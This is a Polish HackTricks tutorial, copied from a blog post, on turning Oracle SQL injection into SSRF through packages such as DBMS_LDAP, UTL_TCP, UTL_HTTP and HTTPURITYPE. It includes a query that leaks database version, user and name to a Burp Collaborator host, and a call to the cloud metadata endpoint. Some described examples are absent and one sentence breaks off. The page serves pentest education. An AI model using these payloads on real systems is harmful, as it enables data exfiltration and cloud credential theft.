<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Podaj ten post jako kopię usuniętego postu z [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
Używanie Oracle do wykonywania żądań HTTP i DNS poza pasmem jest dobrze udokumentowane, ale jako sposób na wyciek danych SQL w wstrzykiwaniu. Zawsze możemy zmodyfikować te techniki/funkcje, aby wykonywać inne ataki SSRF/XSPA.
Instalacja Oracle może być bardzo bolesna, zwłaszcza jeśli chcesz szybko skonfigurować instancję do wypróbowania poleceń. Mój przyjaciel i kolega z [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), polecił mi [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), co pozwoliło mi skonfigurować instancję na maszynie Ubuntu AWS t2.large za pomocą Dockera.
Uruchomiłem polecenie docker z flagą `--network="host"`, aby móc udawać Oracle jako natywną instalację z pełnym dostępem do sieci, na potrzeby tego wpisu na blogu.
#### Pakiety Oracle obsługujące specyfikację URL lub nazwę hosta/numer portu <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Aby znaleźć jakiekolwiek pakiety i funkcje obsługujące specyfikację hosta i numeru portu, przeprowadziłem wyszukiwanie w [Dokumentacji online bazy danych Oracle](https://docs.oracle.com/database/121/index.html). Konkretnie,
Ta prymitywna metoda wyszukiwania oczywiście pomija pakiety takie jak `DBMS_LDAP` (które umożliwiają przekazywanie nazwy hosta i numeru portu), ponieważ [strona dokumentacji](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) po prostu przekierowuje do [innego miejsca](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Dlatego istnieją inne pakiety Oracle, które mogą być wykorzystane do wykonywania żądań wychodzących, które mogłem przeoczyć.
Pakiet `DBMS_LDAP` umożliwia dostęp do danych z serwerów LDAP. Funkcja `init()` inicjalizuje sesję z serwerem LDAP i przyjmuje nazwę hosta i numer portu jako argument.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Błąd `ORA-31203: DBMS_LDAP: PL/SQL - Inicjalizacja nie powiodła się.` oznacza, że port jest zamknięty, podczas gdy wartość sesji wskazuje na otwarty port.
Pakiet `UTL_SMTP` jest przeznaczony do wysyłania wiadomości e-mail za pomocą protokołu SMTP. Przykład dostarczony na [stronie dokumentacji Oracle](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478) pokazuje, jak można użyć tego pakietu do wysyłania wiadomości e-mail. Dla nas jednak interesujące jest możliwość podania hosta i portu.
`ORA-29276: transfer timeout` oznacza, że port jest otwarty, ale nie ustanowiono połączenia SMTP, podczas gdy `ORA-29278: SMTP transient error: 421 Service not available` oznacza, że port jest zamknięty.
Pakiet `UTL_TCP` oraz jego procedury i funkcje umożliwiają komunikację opartą na protokole TCP/IP z usługami. Jeśli zostanie zaprogramowany dla konkretnej usługi, ten pakiet może stać się łatwym sposobem na dostanie się do sieci lub wykonywanie pełnych żądań po stronie serwera, ponieważ można kontrolować wszystkie aspekty połączenia TCP/IP.
Przykład na stronie dokumentacji Oracle pokazuje, jak można użyć tego pakietu do nawiązania surowego połączenia TCP w celu pobrania strony internetowej. Możemy to jeszcze bardziej uprościć i użyć go do wysyłania żądań do instancji metadanych na przykład lub do dowolnej usługi TCP/IP.
Interesująco, dzięki możliwości tworzenia surowych żądań TCP, ten pakiet może również być używany do zapytania usługi metadanych instancji wszystkich dostawców chmury, ponieważ typ metody i dodatkowe nagłówki mogą być przekazywane w żądaniu TCP.
Najbardziej powszechną i szeroko udokumentowaną techniką w każdym samouczku dotyczącym Oracle SQL Injection jest pakiet [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ten pakiet jest zdefiniowany w dokumentacji jako - `Pakiet UTL_HTTP umożliwia wywoływanie protokołu HTTP (Hypertext Transfer Protocol) z poziomu SQL i PL/SQL. Można go używać do dostępu do danych w Internecie za pośrednictwem protokołu HTTP.`
Błąd `ORA-12541: TNS:no listener` lub `TNS:operation timed out` oznacza, że port TCP jest zamknięty, podczas gdy błąd `ORA-29263: HTTP protocol error` lub dane są oznaką otwartego portu.
Innym pakietem, który używałem w przeszłości z różnymi sukcesami, jest [`GETCLOB()` metoda abstrakcyjnego typu Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705), która umożliwia interakcję z adresem URL i obsługuje protokół HTTP. Metoda `GETCLOB()` służy do pobierania odpowiedzi GET z adresu URL jako [typ danych CLOB](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi trikami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.